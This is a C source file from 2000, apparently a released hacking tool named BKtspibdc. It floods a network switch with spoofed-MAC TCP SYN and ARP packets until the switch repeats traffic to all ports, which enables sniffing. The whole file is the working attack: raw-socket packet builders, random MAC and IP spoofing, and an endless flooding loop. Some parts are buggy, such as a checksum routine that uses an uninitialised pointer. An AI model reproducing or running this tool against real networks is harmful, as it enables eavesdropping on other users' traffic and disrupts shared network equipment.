/*
 *     _/_/_/    _/ _/   _/     _/      _/_/_/ _/_/_/   _/
 *    _/     _/ _/ _/  _/     _/_/    _/   _/ _/   _/ _/_/
 *   _/_/_/_/  _/ _/_/      _/  _/   _/_/_/  _/_/_/ _/  _/
 *  _/     _/ _/ _/ _/    _/_/_/_/  _/      _/    _/_/_/_/
 * _/_/_/_/  _/ _/   _/ _/      _/ _/      _/   _/      _/
 *
 *
 *  $Id: BKtspibdc.c ,v 9.9 2000/05/18 14:00:45 l0wlevel Exp $
 *
 *  BKtrpibdc.c - Network tool for switch sniff
 *  Based on Amua Library - Arp&Mac:Use&Abuse
 *  Coded on a Redbug  5.0+1.0+0.2
 *  Tools used: vi,gcc,ping,tcpdump
 *  Last modification added in a hot august day.
 *
 *  Redistribution and use in source and binary forms, with or without
 *  modification, are permitted provided that the following conditions
 *  are met:
 *  1. Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *  2. Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in the
 *     documentation and/or other materials provided with the distribution.
 *
 *  THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 *  ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 *  ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 *  FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 *  OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 *  HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 *  OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 *  SUCH DAMAGE.
 *
 *  Copyright (c) 2000 bikappa <bikappa@itapac.net> [l0wlevel]
 *  All rights reserved.
 *
 */

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdarg.h>
#include <fcntl.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void info()
{
     printf("\n Based on Amua Library - Arp&Mac:Use&Abuse\n\n");
     printf(" This tool flood your switch with TCP & IP & ARP request with spoofed MAC \n");
     printf(" The switch will start to repeat packets to any ports.\n");
     printf(" So you'll get easy way to sniff with a simple promiscuos.\n\n");
     printf(" Copyright (C) 2000 by bikappa <bikappa@itapac.net> [l0wlevel]\n\n");
}

void usage(char * arg)
{
      printf("\n BKtspibdc - Copyright (C) 2000 by bikappa [l0wlevel] \n");
      printf(" This tool floods your switch \n\n");
      printf(" usage: %s -h -i -s -d -p -a -t -e\n\n", arg);
  printf(" -h help     print this help \n");
  printf(" -i info     print info about the program and the author \n");
  printf(" -s source mac     forge the packet with a standard src mac \n");
  printf(" -d destination mac  forge the packet with a standard dst mac \n");
  printf(" -p print     print source and destination mac generated \n");
  printf(" -a arp attack     add arp attacck \n");  
  printf(" -t arp time     if -a is used, time to send arp packet (default 2) \n");
  printf(" -e ethernet device  change from default (eth0)\n\n");
}


struct arp_header_packet
{
      unsigned short   mac_address_format;
      unsigned short   ip_address_format;
      unsigned char    mac_address_length;
      unsigned char    ip_address_length;
      unsigned short   op_type;
      unsigned char    source_mac_address[6];
      unsigned char    source_ip_address[4];
      unsigned char    destination_mac_address[6];
      unsigned char    destination_ip_address[4];
};

struct ethernet_header_device
{
      unsigned char    ethernet_destination_address[6];
      unsigned char    ethernet_source_address[6];
      unsigned short   ethernet_type;
};


struct link_interface
{
      int fd;
      int linktype;
      int linkoffset;
      u_char *device;
};


struct ip_header_packet
{
      unsigned char   ip_header_length:4,ip_version:4;
      unsigned char   ip_type_of_service;
      unsigned short   ip_length;
      unsigned short   ip_id;
      unsigned short   ip_offset;
      unsigned char   ip_ttl;
      unsigned char   ip_protocol;
      unsigned short   ip_checksum;
      struct in_addr   ip_src, ip_dst;
};


struct tcp_header_packet
{
      unsigned short   source_port;
      unsigned short   destination_port;
     unsigned long   sequence_number;
     unsigned long   ack;
      unsigned char   x2:4, data_offset:4;
      unsigned char   control_flags;
      unsigned short   window;
      unsigned short   checksum;
      unsigned short   urgent_pointer;
};


int build_ethernet(unsigned char *destination, unsigned char *source, unsigned short ethertype, unsigned char *buffer)
{
      struct ethernet_header_device ethernet_header;
      
      const unsigned char *payload = NULL;
      int payload_s = 0;
           
      unsigned short   eth_head_l = 0xe;

      if (!buffer)  return (-1);
      
      memcpy(ethernet_header.ethernet_destination_address, destination, 6);
      memcpy(ethernet_header.ethernet_source_address, source, 6);

      ethernet_header.ethernet_type = htons(ethertype);

      if (payload && payload_s)
          memcpy(buffer + eth_head_l, payload, payload_s);
      memcpy(buffer, &ethernet_header, sizeof(ethernet_header));
      return (1);
}

int build_tcp (unsigned short source_port, unsigned short destination_port, unsigned long seq, unsigned long ack, unsigned char control,  unsigned short window, unsigned short urg, unsigned char *buffer)
{
      struct tcp_header_packet tcp_header;
      
      const unsigned char *payload = NULL;
      int payload_s = 0;
      
      unsigned long tcp_header_length = 0x14;

      if (!buffer)  return (-1);

      tcp_header.source_port     = htons(source_port);
      tcp_header.destination_port     = htons(destination_port);
     tcp_header.sequence_number       = htonl(seq);
     tcp_header.ack         = htonl(ack);
      tcp_header.control_flags     = control;
      tcp_header.x2          = 0;
      tcp_header.data_offset       = 5;
      tcp_header.window         = htons(window);
      tcp_header.checksum       = 0;
      tcp_header.urgent_pointer       = urg;
      
      if (payload && payload_s)
          memcpy(buffer + tcp_header_length, payload, payload_s);
      memcpy((unsigned char *)buffer, (unsigned char *)&tcp_header, sizeof(tcp_header));
      return (1);
}


int build_ip (unsigned short length, unsigned char tos, unsigned short id, unsigned short frag, unsigned char ttl, unsigned char protocol, unsigned long source_address, unsigned long destination_address, unsigned char *buffer)
{
  struct ip_header_packet ip_header;
  
      const unsigned char *payload = NULL;
      int payload_s = 0;
      
      unsigned long ip_header_length = 0x14;

        if (!buffer)  return (-1);
      
      ip_header.ip_version      = 4;
      ip_header.ip_header_length     = 5;
      ip_header.ip_type_of_service    = tos;
      ip_header.ip_length      = htons(ip_header_length + length);
      ip_header.ip_id       = htons(id);
      ip_header.ip_offset      = htons(frag);
      ip_header.ip_ttl      = ttl;
      ip_header.ip_protocol      = protocol;
      ip_header.ip_checksum      = 0;
      ip_header.ip_src.s_addr   = source_address;
      ip_header.ip_dst.s_addr   = destination_address;

      if (payload && payload_s)
               memcpy(buffer + ip_header_length, payload, payload_s);
      memcpy((unsigned char *)buffer, (unsigned char *)&ip_header, sizeof(ip_header));
      return (1);
}

int build_arp(unsigned char *source_mac_address, unsigned char *source_ip_address, unsigned char *destination_mac_address, unsigned char *destination_ip_address, unsigned char *buffer)
{
      struct arp_header_packet arp_header;
      
      const unsigned char *payload = NULL;
      int payload_s = 0;
           
      unsigned short
        ethertype = 0x0800,
              hardware_type = 1,
              opcode_cmd = 2,
              arp_head_l = 0x1c,
              mac_address_length = 6,
              ip_address_length =4;

       
      if (!buffer) return (-1);
      
      arp_header.mac_address_format = htons(hardware_type);
         arp_header.ip_address_format  = htons(ethertype);
       arp_header.op_type  = htons(opcode_cmd);
       arp_header.mac_address_length = mac_address_length;
       arp_header.ip_address_length = ip_address_length;       
       
       memcpy(arp_header.source_mac_address, source_mac_address, mac_address_length);
      memcpy(arp_header.source_ip_address, source_ip_address, ip_address_length);
      memcpy(arp_header.destination_mac_address, destination_mac_address, mac_address_length);
      memcpy(arp_header.destination_ip_address, destination_ip_address, ip_address_length);

     if (payload && payload_s)
          memcpy(buffer + arp_head_l, payload, payload_s);
      memcpy(buffer, &arp_header, sizeof(arp_header));
      return (1);
}

int ip_checksum (unsigned char *buf)
{
      struct ip_header_packet *iph_p;

      int   ip_header_length,
         checksum = 0,
         nleft   = 0,
         length   = 0x14;

      unsigned short ans = 0;
      unsigned short *source;
      
      iph_p = (struct ip_header_packet *)buf;
      ip_header_length = iph_p->ip_header_length << 2;

        iph_p->ip_checksum = 0;

        nleft = length;
      source = (unsigned short *)iph_p;

      while (nleft > 1)
      {
          checksum += *source++;
          nleft -= 2;
      }
      if (nleft == 1)
      {
          *(unsigned char *)(&ans) = *(unsigned char *)source;
          checksum += ans;
      }
        iph_p->ip_checksum = (checksum >> 16) + (checksum & 0xffff);
        return (1);
}


int tcp_checksum (unsigned char *buf)
{

  struct ip_header_packet *iph_p;
       struct tcp_header_packet *tcph_p;

      int   ip_header_length,
         checksum = 0,
         nleft   = 0,
         length   = 0x14;

      unsigned short ans = 0;
      unsigned short *source;
        
      ip_header_length = iph_p->ip_header_length << 2;
      tcph_p = (struct tcp_header_packet *)(buf + ip_header_length);

        tcph_p->checksum = 0;

        source = (unsigned short *)&iph_p->ip_src;

        nleft = 8;
      while (nleft > 1)
      {
          checksum += *source++;
          nleft -= 2;
      }
      if (nleft == 1)
      {
          *(unsigned char *)(&ans) = *(unsigned char *)source;
        }

        checksum += ntohs(length +6);
        nleft = length;
      source = (unsigned short *)tcph_p;
        while (nleft > 1)
      {
          checksum += *source++;
          nleft -= 2;
      }
      if (nleft == 1)
      {
          *(unsigned char *)(&ans) = *(unsigned char *)source;
          checksum += ans;
      }
        tcph_p->checksum = (checksum >> 16) + (checksum & 0xffff);
  return (1);
}

unsigned long get_random16()
{
      unsigned long n = random();
      return (n % 0xffff);
}

unsigned long get_random32()
{
      unsigned long n  = random();
      return (n);
}

void set_random_mac_address (char *mac_add)
{
      int i;
  for(i = 0; i < 6; i++)
    i[mac_add] = random() % 256;
}
     
struct link_interface * open_link_interface(char *device, char *ebuf)
{
     register struct link_interface *l;
      struct ifreq ifr;
        
      l = (struct link_interface *)malloc(sizeof (*l));
      if (l == NULL)
      {
          fprintf(stderr, " Malloc: %s.\n", ebuf);
          return (NULL);
      }
      memset(l, 0, sizeof (*l));

      l->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));

      if (l->fd == -1)
      {
          fprintf(stderr, " Socket: %s.\n", ebuf);
          if (l->fd >= 0)
          close(l->fd);
          free(l);
        return (NULL);
      }

      memset(&ifr, 0, sizeof (ifr));
      strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));

      if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 )
      {
          fprintf(stderr, " SIOCGIFHWADDR: %s.\n", ebuf);
          if (l->fd >= 0)
          close(l->fd);
          free(l);
        return (NULL);
      }

  l->linkoffset = 0xe;
  l->linktype = 12;
      return (l);
}

int init_packet(int p_size, unsigned char **buffer)
{
      int max_packet = 65535;
      
      if (p_size <= 0)
            p_size = max_packet + 1;

        *buffer = (unsigned char *)malloc(p_size);
      if (!*buffer)
      {
          perror(" Init packet malloc failed:");
          return (-1);
      } else
      {
          memset(*buffer, 0, p_size);
          return (1);
      }
}


int destroy_packet(unsigned char **buffer)
{
      if (!*buffer)
      {
          return (-1);
      }

      free(*buffer);
      *buffer = NULL;
  return (1);
}

void count_success(int repeat)
{
  int i;
  
  for (i = 0; i <repeat; i++)
  {
    usleep(300000);
    printf(".");
    fflush(stdout);
  }
  printf(" sucessfull\n");
}

void felix_ruls_to_save_address (char *mac, char mac_temp[17])
{
  int i;
  unsigned char felix;

  for ( i = 0; i < 6; i++)
  {
    felix = ((unsigned char)mac[i]);
    felix < 16 ? sprintf(&mac_temp[i*3], "0%1X:", felix):sprintf(&mac_temp[i*3], "%2X:",felix);
  }
  mac_temp[17] = 0;
}

void set_address (char *mac, char *mac_add)
{
  unsigned int  temp[6];
        int  i;

  if (sscanf (mac, "%2x:%2x:%2x:%2x:%2x:%2x", &temp[0], &temp[1], &temp[2], &temp[3], &temp[4], &temp[5]) != 6)    
  {
          printf(" The address format is not correct\n");
          exit(0);
  }

        for(i = 0; i < 6; i++)
    i[mac_add] = temp[i];
}

void cleanall (int back)
{
  static unsigned char *packet;
  fprintf(stderr, " Erorr, exiting...\n");
  destroy_packet(&packet);
  exit(back);
}


int main ( int argc, char **argv)
{
  struct link_interface *link;
  struct sockaddr sa;
      struct ifreq ifr;

  int   fd,
    temp = 0,
    arp_time = 2,
    c = 0,
     i = 0,
     x = 2,
     sm = 0,
     dm = 0,
     print_mac_address = 0,
    arp_attack = 0,
    counter = 0;


  static unsigned char
    *packet1,
    *packet2,
    *ethernet_device = "eth0",  
    source_mac_address[6],
    destination_mac_address[6];
    
  char     ebuf[1025],
    source_mac_address_t[18],
    destination_mac_address_t[18],
    source_ip_address_t[15],
    destination_ip_address_t[15];

  unsigned long
    source,
     destination;
     
  unsigned long tcp_header_length   = 0x14;
  unsigned long ip_header_length     = 0x14;
  unsigned long eth_header_length   =  0xe;
  unsigned long arp_header_length   = 0x1c;
  unsigned long f_syn = 0x02;
  unsigned long ethertype_ip   = 0x0800;
  unsigned long ethertype_arp   = 0x0806;
  
  unsigned short   source_port, destination_port;
  
  unsigned char   packet1_length,
      packet2_length;
     
  char lulu;
  extern char *optarg;

      while ((lulu = getopt(argc, argv, "-aphid:t:s:e:")) != EOF)
      {
          switch(lulu)
          {
                case 'i' :
                    info();
                    exit(1);
                case 'h' :
                    usage(argv[0]);
                    exit(1);
                case 'p' :
                    print_mac_address = 1;
                    break;
                 case 'a' :
                    arp_attack = 1;
                    break;
                 case 't' :
                    arp_time = atoi(optarg);
                    break;
                case 's' :
                    sm++;
                    sscanf(optarg, "%s", source_mac_address_t);
                    break;
                case 'd' :
                  dm++;
                    sscanf(optarg, "%s", destination_mac_address_t);
                    break;
                case 'e' :
                    ethernet_device = optarg;
                    break;
          }
       }
       
            
  printf("\n\n **************************************************************************\n");                   
    printf(" * BKtspibdc - Copyright  2000 by bikappa [l0wlevel] <bikappa@itapac.net> *\n");
  printf(" **************************************************************************\n\n");
    printf(" Loading data ");
    count_success(10);
    
    packet1_length = eth_header_length + ip_header_length + tcp_header_length;
    packet2_length = eth_header_length + arp_header_length;
    
    temp = init_packet(packet1_length, &packet1);
    if( temp == -1)
  {
    fprintf(stderr, " First packet initialization failed.\n");
    exit(0);
  } else
  if ( temp == 1)
  {
    printf(" First packet initialization");
    count_success (8);
  }
  
  temp = init_packet(packet2_length, &packet2);
    if( temp == -1)
  {
    fprintf(stderr, " Second packet initialization failed.\n");
    exit(0);
  } else
  if ( temp == 1)
  {
    printf(" Second packet initialization");
    count_success (8);
  }
  
  
  if((link = open_link_interface(ethernet_device, ebuf)) == NULL)
  {
    fprintf(stderr, " Open link interface failed: %s.\n", ebuf);
    exit(0);
  }
  
  printf(" Open link interface ");
  count_success(8);

  printf (" Starting attack on %s device", ethernet_device);
  count_success(6);
    
  signal(SIGINT, cleanall);
  signal(SIGKILL, cleanall);
        printf("\n");

  
  for (;;i++)
  {  
    if ( sm == 1)
      set_address (source_mac_address_t, source_mac_address);
    else
      set_random_mac_address (source_mac_address);
    
    if ( dm == 1)
      set_address (destination_mac_address_t, destination_mac_address);
    else
      set_random_mac_address (destination_mac_address);

    source     = get_random32();
    destination   = get_random32();
    
    source_port    = get_random16();
    destination_port = get_random16();
    
    build_ethernet (destination_mac_address, source_mac_address, ethertype_ip, packet1);
    build_ip (ip_header_length, 0, (char)get_random16, 0, 64, 6, source, destination, packet1 + eth_header_length);
    build_tcp (source_port, destination_port, (char)get_random32, (char)get_random32, f_syn, 1024, 0, packet1 + eth_header_length + ip_header_length);
     
     ip_checksum  (packet1 + eth_header_length);
    tcp_checksum (packet1 + eth_header_length);
    
    memset(&sa, 0, sizeof (sa));
        strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data));
                c = sendto(link->fd, packet1, packet1_length, 0, &sa, sizeof (sa));
        if (c != packet1_length)
            fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c);
        
          if ( print_mac_address == 1 )
        {
          felix_ruls_to_save_address(source_mac_address, source_mac_address_t);
          felix_ruls_to_save_address(destination_mac_address, destination_mac_address_t);
          printf("TCP/IP: Mac source: (%s)\t Mac destination (%s)\n", source_mac_address_t, destination_mac_address_t);
        }  
        
        if ( arp_attack == 1)
        {
          if ( x == i)
          {
            x+= arp_time;
            
        if ( sm == 1)
          set_address (source_mac_address_t, source_mac_address);
        else
          set_random_mac_address (source_mac_address);
      
        if ( dm == 1)
          set_address (destination_mac_address_t, destination_mac_address);
        else
          set_random_mac_address (destination_mac_address);

        source     = get_random32();
        destination   = get_random32();
                                    
           build_ethernet (destination_mac_address, source_mac_address, ethertype_arp, packet2);
        build_arp(source_mac_address, (char *)&source, destination_mac_address, (char *)&destination, packet2 + eth_header_length);
        
        memset(&sa, 0, sizeof (sa));
            strncpy(sa.sa_data, ethernet_device, sizeof (sa.sa_data));
              c = sendto(link->fd, packet2, packet2_length, 0, &sa, sizeof (sa));
        if (c != packet2_length)
               fprintf(stderr, "Warning: write Layer : %d bytes written.\n", c);
           
           if ( print_mac_address == 1 )
            {
              felix_ruls_to_save_address(source_mac_address, source_mac_address_t);
              felix_ruls_to_save_address(destination_mac_address, destination_mac_address_t);
              printf("ARP   : Mac source: (%s)\t Mac destination (%s)\n", source_mac_address_t, destination_mac_address_t);
            }
          }
        }
          
  }
  return 1;
}